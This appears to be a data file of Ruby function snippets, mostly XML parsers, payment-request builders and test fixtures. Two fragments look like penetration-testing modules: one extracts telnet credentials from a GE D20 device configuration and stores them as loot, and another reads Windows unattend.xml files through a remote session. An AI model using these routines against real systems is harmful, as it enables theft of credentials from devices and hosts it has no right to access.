"def users_get_info_response_xml\n <<-XML\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <users_getInfo_response xmlns=\"\" xmlns:xsi=\"\" xsi:schemaLocation=\"\" list=\"true\">\n\t<user>\n\t <uid>kangtk</uid>\n\t <nickname>康泰克</nickname>\n\t <facebig>http://userface3.51.com/ce/25/kangtk_130.gif?v=20071208033821</facebig>\n\t <sex>1</sex>\n\t <vip>3</vip>\n\t <isconfirm>1</isconfirm>\n\t</user>\n </users_getInfo_response>\n XML\n end",
"def test_parse_valid_xml_returns_hash_with_symbol_keys\n name = \"A name\"\n type = \"A type\"\n xml = \"<data><name>#{name}</name><type>#{type}</type></data>\"\n parser = ChainReactor::Parsers::XmlSimpleParser.new get_logger\n cause = parser.parse(xml,[],true)\n assert_equal name, cause[:name].first\n assert_equal type, cause[:type].first\n end",
"def from_xml(xml)\n\t\tend",
"def parse_xml(xml)\n parsed_xml = Nokogiri::XML(xml.gsub(/\\n|\\r| /, \"\"))\n data = {}\n parsed_xml.css('m|properties').children.each do |p|\n data[p.name] = p.content\n end\n data\n end",
"def person_online_auth_xml=(value)\n @children['person-online-auth-xml'][:value] = value\n end",
"def parse(xml)\n # \"<?xml version=\\\"1.0\\\"?><response><receipt>\".\n # \"<ReceiptId>Global Error Receipt</ReceiptId>\".\n # \"<ReferenceNum>null</ReferenceNum>\n # <ResponseCode>null</ResponseCode>\".\n # \"<ISO>null</ISO> \n # <AuthCode>null</AuthCode>\n # <TransTime>null</TransTime>\".\n # \"<TransDate>null</TransDate>\n # <TransType>null</TransType>\n # <Complete>false</Complete>\".\n # \"<Message>null</Message>\n # <TransAmount>null</TransAmount>\".\n # \"<CardType>null</CardType>\".\n # \"<TransID>null</TransID>\n # <TimedOut>null</TimedOut>\".\n # \"</receipt></response> \n\n response = {:message => \"Global Error Receipt\", :complete => false}\n\n xml = REXML::Document.new(xml) \n\n xml.elements.each('//receipt/*') do |node|\n\n response[node.name.underscore.to_sym] = normalize(node.text)\n\n end unless xml.root.nil?\n\n response\n end",
"def parse_xml(xml)\n hash = XmlSimple.xml_in(xml)\n hash['query']#return just the results of the query\nend",
"def elem(xml)\n xml.D :privilege do\n # FIXME: handle non-DAV privileges as well\n xml.D(name.to_sym)\n end\n end",
"def extract_items_xml_android(xml_content)\n xml = Nokogiri::XML.parse(xml_content)\n strings = xml.xpath('//string')\n items = Hash.new\n strings.each do |string|\n name = string.attributes['name'].value\n value = string.children.text.gsub(/\\\\'/) {|s| \"'\"}\n items[name] = value\n end\n items\n end",
"def failed_authorize_response\n <<-XML\n <EngineDocList>\n <DocVersion DataType=\"String\">1.0</DocVersion>\n <EngineDoc>\n <OrderFormDoc>\n <Id DataType=\"String\">48b7024c-0322-3002-002a-0003ba9a87ff</Id>\n <Mode DataType=\"String\">Y</Mode>\n <Transaction>\n <Id DataType=\"String\">48b7024c-0323-3002-002a-0003ba9a87ff</Id>\n <Type DataType=\"String\">PreAuth</Type>\n </Transaction>\n </OrderFormDoc>\n <Overview>\n <CcErrCode DataType=\"S32\">1067</CcErrCode>\n <CcReturnMsg DataType=\"String\">System error.</CcReturnMsg>\n <DateTime DataType=\"DateTime\">1219953701297</DateTime>\n <Mode DataType=\"String\">Y</Mode>\n <Notice DataType=\"String\">Unable to determine card type. ('length' is '16')</Notice>\n <TransactionId DataType=\"String\">48b7024c-0323-3002-002a-0003ba9a87ff</TransactionId>\n <TransactionStatus DataType=\"String\">E</TransactionStatus>\n </Overview>\n </EngineDoc>\n </EngineDocList>\n XML\n end",
"def parse_xml\n if @xml.nil?\n @xml = \"\"\n REXML::Document.new(@dbrow[:xml].read).write(@xml, 2)\n end\n\n @xmldoc = REXML::Document.new(@xml)\n @attributes = {}\n @xmldoc.root.attributes.keys.each do |att_name|\n @attributes[att_name] = @xmldoc.root.attributes[att_name]\n end\n\n @properties = {}\n REXML::XPath.each(@xmldoc, \"//property\") do |prop_node|\n prop_name = prop_node.attributes[\"name\"]\n prop_encoding = prop_node.attributes[\"enc\"]\n prop_value = prop_node.attributes[\"value\"]\n\n if prop_encoding == \"BASE64\"\n prop_value = Base64.decode64(prop_value)\n else\n raise UnrecognizedPropertyEncodingException.new(prop_name, prop_encoding, prop_value)\n end\n @properties[prop_name] = prop_value\n end\n\n @dbrow[:_xml_entity_created_by] = @properties[\"CHEF:creator\"]\n @dbrow[:_xml_entity_modified_by] = @properties[\"CHEF:modifiedby\"]\n @dbrow[:_xml_entity_created_at] = Util.format_entity_date(@properties[\"DAV:creationdate\"])\n @dbrow[:_xml_entity_modified_at] = Util.format_entity_date(@properties[\"DAV:getlastmodified\"])\n end",
"def auth_request_map_xml_payload_for_flavor(flavor)\n if flavor == :authentication_optional\n 'authType=\"shibboleth\" requireSession=\"false\"'\n elsif [:authentication_required,:authentication_required_for_specific_users].include?(flavor)\n 'authType=\"shibboleth\" requireSession=\"true\"'\n else \n raise \"No auth_request_map_xml_payload_for_flavor flavor=#{flavor}\"\n end\n end",
"def from_xml(xml)\n clear\n humanized_attributes = @base.attributes.keys.inject({}) { |h, attr_name| h.update(attr_name.humanize => attr_name) }\n messages = Array.wrap(Hash.from_xml(xml)['errors']['error']) rescue []\n messages.each do |message|\n attr_message = humanized_attributes.keys.detect do |attr_name|\n if message[0, attr_name.size + 1] == \"#{attr_name} \"\n add humanized_attributes[attr_name], message[(attr_name.size + 1)..-1]\n end\n end\n \n add_to_base message if attr_message.nil?\n end\n end",
"def parse(xml)\n if xml.nil? || !xml.respond_to?(:at_css)\n return\n end\n\n self.class::ATTRIBUTES.keys.each do |attr|\n spec = self.class::ATTRIBUTES[attr].to_h\n xml_key = spec[:key] || attr.to_s\n type = spec[:type]\n type_class = spec[:class]\n\n if (type == TYPE_OBJECT or type == TYPE_OBJECT_ARRAY) and type_class.nil?\n raise \"DataObject=#{self.class} Attribute=#{attr} of type #{type} must specify a class\"\n end\n\n if type == TYPE_OBJECT\n obj_xml = xml.at_css(xml_key)\n send(\"#{attr}=\", type_class.parse(obj_xml))\n\n elsif type == TYPE_OBJECT_ARRAY\n array_xml = xml.css(xml_key)\n send(\"#{attr}=\", array_xml.map{ |x| type_class.parse(x) })\n\n elsif type == TYPE_ARRAY\n array_xml = xml.css(xml_key)\n send(\"#{attr}=\", array_xml.map{ |x| x.inner_text })\n\n else\n send(\"#{attr}=\", AuthorizeNet::Util.getXmlValue(xml, xml_key))\n end\n end\n end",
"def xml_query_profile(xml) \n if current_user \n profile_name = (xml.root.get_elements('AccessProfile').first || empty).text \n profile_name = 'public' unless profile_name \n @profile = current_user.profiles.find_by_title(profile_name) \n return render(:text => \"<Response>bad profile</Response>\") unless @profile \n \n properties = @profile.properties.map{|p| p.property_type.title }.join(',') \n return render(:text => \"<Response>#{properties}</Response>\") \n end \n render(:text => \"<Response>Internal Error</Response>\") \n end",
"def read_elements(line)\n # comment\n return if line =~ /^#/\n\n # id, name, password, e-mail(encrypted), swn, sls, gwn, gls\n elements = line.chomp.split(',')\n return unless elements.length.between?(8, 9) # invalid line\n\n dec = OpenSSL::Cipher.new('AES-256-CBC')\n dec.decrypt\n (id, name, passwd, encemail) = elements\n # id = elements[0]\n @names[id] = name # elements[1]\n @passwords[id] = passwd # elements[2]\n @emails[id] = UserInfoFileContent.decode_mail(dec, encemail)\n @stats[id] = UserInfoFileContent.hash_stats(elements)\n end",
"def xml_builder\n lambda do |builder|\n builder[:api].login do\n builder[:api].username(username)\n builder[:api].password(password)\n end\n end\n end",
"def parse_user_info(node)\n return nil if node.nil?\n {}.tap do |hash|\n node.children.each do |e|\n unless e.kind_of?(Nokogiri::XML::Text) || e.name == 'proxies'\n # There are no child elements\n if e.element_children.count == 0\n if hash.has_key?(e.name)\n hash[e.name] = [hash[e.name]] if hash[e.name].is_a? String\n hash[e.name] << e.content\n else\n hash[e.name] = e.content\n end\n elsif e.element_children.count\n # JASIG style extra attributes\n if e.name == 'attributes'\n hash.merge!(parse_user_info(e))\n else\n hash[e.name] = [] if hash[e.name].nil?\n hash[e.name] = [hash[e.name]] if hash[e.name].is_a? String\n hash[e.name].push(parse_user_info(e))\n end\n end\n end\n end\n end\n end",
"def parseusers(f, userentryptr)\n f.seek(userentryptr + 0x14)\n dstart = makefptr(f.read(4))\n f.seek(userentryptr + 0x1C)\n numentries = makelong(f.read(4))\n f.seek(userentryptr + 0x60)\n headerlen = makeword(f.read(2))\n f.seek(userentryptr + 40) # sorry decimal\n entrylen = makeword(f.read(2)) # sorry this is decimal\n logins = Rex::Text::Table.new(\n 'Header' => \"D20 usernames, passwords, and account levels\\n(use for TELNET authentication)\",\n 'Indent' => 1,\n 'Columns' => [\"Type\", \"User Name\", \"Password\"])\n\n 0.upto(numentries -1).each do |i|\n f.seek(dstart + headerlen + i * entrylen)\n accounttype = makeword(f.read(2))\n f.seek(dstart + headerlen + i * entrylen + 2)\n accountname = makestr(f, dstart + headerlen + i * entrylen + 2)\n f.seek(dstart + headerlen + i * entrylen + 2 + 22)\n accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)\n if accountname.size + accountpass.size > 44\n print_error(\"Bad account parsing at #{dstart + headerlen + i * entrylen}\")\n break\n end\n logins << [accounttype, accountname, accountpass]\n report_cred(\n ip: datastore['RHOST'],\n port: 23,\n service_name: 'telnet',\n user: accountname,\n password: accountpass,\n proof: accounttype\n )\n end\n if not logins.rows.empty?\n loot = store_loot(\n \"d20.user.creds\",\n \"text/csv\",\n datastore['RHOST'],\n logins.to_s,\n \"d20_user_creds.txt\",\n \"General Electric TELNET User Credentials\",\n datastore['RPORT']\n )\n print_line logins.to_s\n print_status(\"Loot stored in: #{loot}\")\n else\n print_error(\"No data collected\")\n end\n end",
"def mobile_login(email, password)\n user = authenticate(email, password)\n\t xml = \"<user>\"\n \n if user\n mobile_token = MobileToken.new\n mobile_token.user_id = user.id\n mobile_token.token = Digest::SHA2.hexdigest(user.id.to_s + Time.now().to_s)\n mobile_token.save\n \n xml += generate_mobile_xml(user, mobile_token)\n end\n\n xml += \"</user>\"\n\t\t\n xml\n end",
"def parse\n Ox.parse(@xml)\n end",
"def parse xml\n begin\n output = Crack::XML.parse xml\n rescue Exception => e\n puts \"Exception parsing message #{e.message}\"\n return {}\n end\n end",
"def parse(xml)\n response = {}\n\n xml = REXML::Document.new xml \n\n # every Wirecard-Response, success or failure, must have a status and transaction-state\n status = REXML::XPath.first(xml, \"//status\")\n transaction_id = REXML::XPath.first(xml, \"//transaction-id\")\n request_id = REXML::XPath.first(xml, \"//request-id\")\n transaction_state = REXML::XPath.first(xml, \"//transaction-state\")\n \n if status and transaction_state and transaction_state.text\n\n # either extract response values...\n response[:TransactionState] = transaction_state.text\n response[:Code] = status.attributes[\"code\"]\n response[:Description] = status.attributes[\"description\"]\n response[:Severity] = status.attributes[\"severity\"]\n response[:TransactionId] = transaction_id.text if transaction_id\n response[:RequestId] = request_id.text if request_id\n\n else\n # ...or add general failure message\n response[:Message] = \"No valid XML response message received. \\nPropably wrong credentials supplied with HTTP header.\"\n end\n\n response\n end",
"def login\n @response = client.request :log, :login2 do\n soap.element_form_default = :unqualified \n soap.namespaces[\"xmlns:login\"] = 'http://login.ext.soap.yodlee.com'\n \n soap.body = {\n :cobrand_context => cobrand_context,\n :user_credentials => credentials.credentials_hash, \n :attributes! => {:user_credentials => {\"xsi:type\" => \"login:PasswordCredentials\"}} \n }\n end\n \n hash_response = @response.to_hash\n context = hash_response[:login2_response][:login2_return][:user_context]\n parse_response(context)\n end",
"def create_from_xml(xml, pares)\n raise PaResMissing.new \"(2500) PaRes argument can not be omitted.\" if pares.nil?\n @request_xml = REXML::Document.new xml\n REXML::XPath.first(@request_xml, \"//ThreeDSecure\").add_element(\"PaRes\").text=pares\n end",
"def load_xml_metadata\n str = self.client.getmd({:xml => true}, @address)\n return if str.empty?\n \n keymap = self.class.md_key_map\n types = self.class.md_type_coercion_map\n \n doc = REXML::Document.new(str)\n return if doc.nil?\n \n # <session><values>...</values></session>\n values = doc.root.elements[1, 'values']\n values.each_element do |element|\n key = element.attributes['id']\n value_element = element.elements.first\n value = value_element.text\n nodetype = value_element.name\n \n next if key.nil? or value.nil?\n \n case value_element.name\n when 'int'\n value = value.to_i\n when 'bigint'\n value = value.to_i\n when 'timestamp'\n value = Time.parse(value)\n else\n if types.has_key?(key)\n value = value.send(types[key])\n end\n end\n \n insert_metadata key, value, keymap, {}, nodetype\n end\n \n @metadata_loaded = true\n end",
"def parse_xml xml_doc\n return nil if xml_doc.at(\"title\").nil?\n @id = id\n\n %w[title description upload_date number_of_likes number_of_plays width height number_of_comments url duration].each do |attribute|\n instance_variable_set(\"@#{attribute}\", xml_doc.at(attribute).inner_html)\n end\n\n @owner = User.new\n %w[id username display_name is_plus is_staff profileurl realname username videosurl].each do |attribute|\n @owner.instance_variable_set(\"@#{attribute}\", xml_doc.at(\"owner\").attributes[attribute])\n end\n\n (xml_doc/:thumbnail).each do |thumbnail|\n @thumbs << build_thumbnail(thumbnail)\n end\n end",
"def getpassword()\r\n return getvalue(SVTags::PASSWORD)\r\n end",
"def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end",
"def append_user_info(username, xml)\n end",
"def get_element_fields(root)\n fields = []\n REXML::XPath.each(root, 'descendant::element') do |element|\n fields << {:name => element.attribute('name').to_s.snakecase,\n :type => element.attribute('type').to_s.gsub(/^.+:/, ''),\n :min_occurs => attribute_to_int(element.attribute('minOccurs')),\n :max_occurs => attribute_to_int(element.attribute('maxOccurs'))}\n end\n return fields\n end",
"def parse(file)\n doc = Nokogiri::XML( File.open( file ) )\n @type = doc.xpath(\"/probe/header/@type\").to_s\n @vendor = doc.xpath(\"/probe/header/@vendor\").to_s\n @services = \"<TODO>\"\n @indexes = \"<TODO>\"\n end",
"def test_run_xml_input\n T2Server::Run.create($uri, WKF_XML, $creds, $conn_params) do |run|\n run.input_port(\"xml\").value =\n \"<hello><yes>hello</yes><no>everybody</no><yes>world</yes></hello>\"\n run.input_port(\"xpath\").value = \"//yes\"\n run.start\n run.wait\n assert_equal(run.output_port(\"nodes\").value, [\"hello\", \"world\"])\n assert(run.delete)\n end\n end",
"def parse_xml(pdoc, data)\n # TODO: DTD, etc\n src = ::Nokogiri::XML(data)\n extract_plaintext(src.root, pdoc)\n pdoc.content_type=\"application/xml; charset=#{src.encoding}\"\n end",
"def parse_xml\n\n raise \"parse_xml method has not been implemented in this class\"\n \n end",
"def initialize dev_node\n di = Plist::parse_xml(diskutil 'info', '-plist', dev_node)\n raise \"#{dev_node} is not a valid volume\" if di.nil?\n @dev_node = di['DeviceNode']\n end",
"def import_xml(xml)\n if xml.is_a?(String)\n xml.force_encoding(\"UTF-8\") if xml.respond_to? :force_encoding\n xml.scrub!\n doc = REXML::Document.new xml.gsub(/>[\\s\\t]*\\n*[\\s\\t]*</, \"><\").strip\n elsif xml.is_a?(REXML::Document)\n doc = xml\n else\n raise ArgumentError, \"Argument must be an REXML::Document or well-formed XML string\"\n end\n\n # Cut to the context object\n ctx = REXML::XPath.first(doc, \".//ctx:context-object\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n\n ctx.attributes.each do |attr, val|\n @admin.each do |adm, vals|\n set_administration_key(adm, val) if vals[\"label\"] == attr\n end\n end\n ctx.to_a.each do |ent|\n if @@defined_entities.value?(ent.name)\n import_entity(ent)\n else\n import_custom_node(ent)\n end\n end\n end",
"def xml_data(xml)\n return unless xml = Objectify::Xml.first_element(xml)\n # There is something wrong with Nokogiri xpath/css search with\n # namespaces. If you are searching a document that has namespaces,\n # it's impossible to match any elements in the root xmlns namespace.\n # Matching just on attributes works though.\n feed, entry = xml.search('//*[@term][@scheme]', xml.namespaces)\n feed_self, entry_self = xml.search('//*[@rel=\"self\"][@type=\"application/atom+xml\"]', xml.namespaces)\n feed_scheme = feed['term'] if feed\n entry_scheme = entry['term'] if entry\n feed_href = feed_self['href'] if feed_self\n entry_href = entry_self['href'] if entry_self\n [xml, feed_scheme, entry_scheme, feed_href, entry_href]\n end",
"def parse_xml(result)\n #puts \"getting title #{result['title']}\"\n @title = result['title']\n @description = result['description']\n @url = result['url']\n @display_url = result['display_url']\n @date_time = result['date_time']\n end",
"def load!(xml)\n root = Nokogiri::XML(xml).root\n try(root.xpath(\"//network\")) do |network|\n try(network.xpath(\"name\")) { |result| self.name = result.text }\n try(network.xpath(\"uuid\")) { |result| self.uuid = result.text }\n try(network.xpath(\"bridge\")) { |result| self.bridge = Bridge.new(result) }\n try(network.xpath(\"ip\")) { |result| self.ip = IP.new(result) }\n end\n end",
"def get_login_info\n username = ask(\"Acunote Login name:\")\n password = ask(\"Acunote(LDAP) Password:\") {|q| q.echo = false}\n {:username => username, :password => password}\n end",
"def verifyXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id #'14560'\n xml.MerchantProfileId merchant_profile_id #'PrestaShop Global HC'\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType]\n xml['ns1'].CardholderName params[:CardholderName]\n # xml['ns1'].PAN params[:PAN] #'4111111111111111'\n # xml['ns1'].Expire params[:Expire]\n # xml['ns1'].Track1Data('i:nil' =>\"true\")\n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].CardSecurityData{\n xml['ns1'].AVSData{\n xml['ns1'].CardholderName('i:nil' =>\"true\") \n xml['ns1'].Street params[:Street]\n xml['ns1'].City params[:City]\n xml['ns1'].StateProvince params[:StateProvince]\n xml['ns1'].PostalCode params[:PostalCode]\n xml['ns1'].Phone params[:Phone]\n xml['ns1'].Email params[:Email]\n }\n xml['ns1'].CVDataProvided 'Provided'\n xml['ns1'].CVData params[:CVData]\n xml['ns1'].KeySerialNumber('i:nil' =>\"true\")\n xml['ns1'].PIN('i:nil' =>\"true\") \n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\")\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD')\n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2014-04-03T13:50:16') \n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n if params[:Track2Data].present? || params[:Track1Data].present?\n xml['ns1'].EntryMode params[:EntryMode]\n else\n xml['ns1'].EntryMode 'Keyed'\n end \n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InvoiceNumber('i:nil' =>\"true\")\n xml['ns1'].OrderNumber('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n } \n }\n }\n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for verifyXML!\"\n end\n end",
"def check_for_xml \n return true unless is_xml_request? \n return(render(:text => '<Response>Error: bad xml</Response>')) unless @request.env['RAW_POST_DATA'] && !@request.env['RAW_POST_DATA'].strip.empty? \n\n # headers['Content-Type'], NOT headers['CONTENT_TYPE'] \n @response.headers['CONTENT_TYPE'] = 'text/xml; charset=utf-8' \n @response.headers['Content-Type'] = 'text/xml; charset=utf-8' \n\n xml = REXML::Document.new(request.env['RAW_POST_DATA']) \n login_user(xml) \n return(render(:text => '<Response>bad username or password</Response>') and false) unless current_user \n\n begin \n (delete_trust(xml) and return false) if is_delete_trust? \n (create_trust_xml(xml) and return false) if is_create_trust? \n (xml_profile_list(xml) and return false) if is_profile_list? \n (xml_query_profile(xml) and return false) if is_query_profile? \n\n params.merge!(get_params_from_xml(xml)) \n\n\t \t create_trust_if_necessary(xml) \n\t \trescue \n \t return(render(:text => '<Response>Error: bad xml format.</Response>')) \n end\n end",
"def parse_process_xml (xml)\n\n elt = REXML::Document.new(xml).root\n elt = elt.owfe_first_elt_child 'paused'\n\n {\n :paused => (elt.text.downcase == 'true')\n }\n end",
"def load_unattend(xml_path)\n print_status(\"Reading #{xml_path}\")\n f = session.fs.file.new(xml_path)\n raw = \"\"\n until f.eof?\n raw << f.read\n end\n\n begin\n xml = REXML::Document.new(raw)\n rescue REXML::ParseException => e\n print_error(\"Invalid XML format\")\n vprint_line(e.message)\n return nil, raw\n end\n\n return xml, raw\n end",
"def from_trusted_xml(xml)\n from_xml xml, []\n end",
"def parse_xml(xml)\n Nokogiri::XML(xml, &:noblanks)\n end",
"def has_password?(_password)\n !(try { xml.elements['password'].text }).nil?\n end",
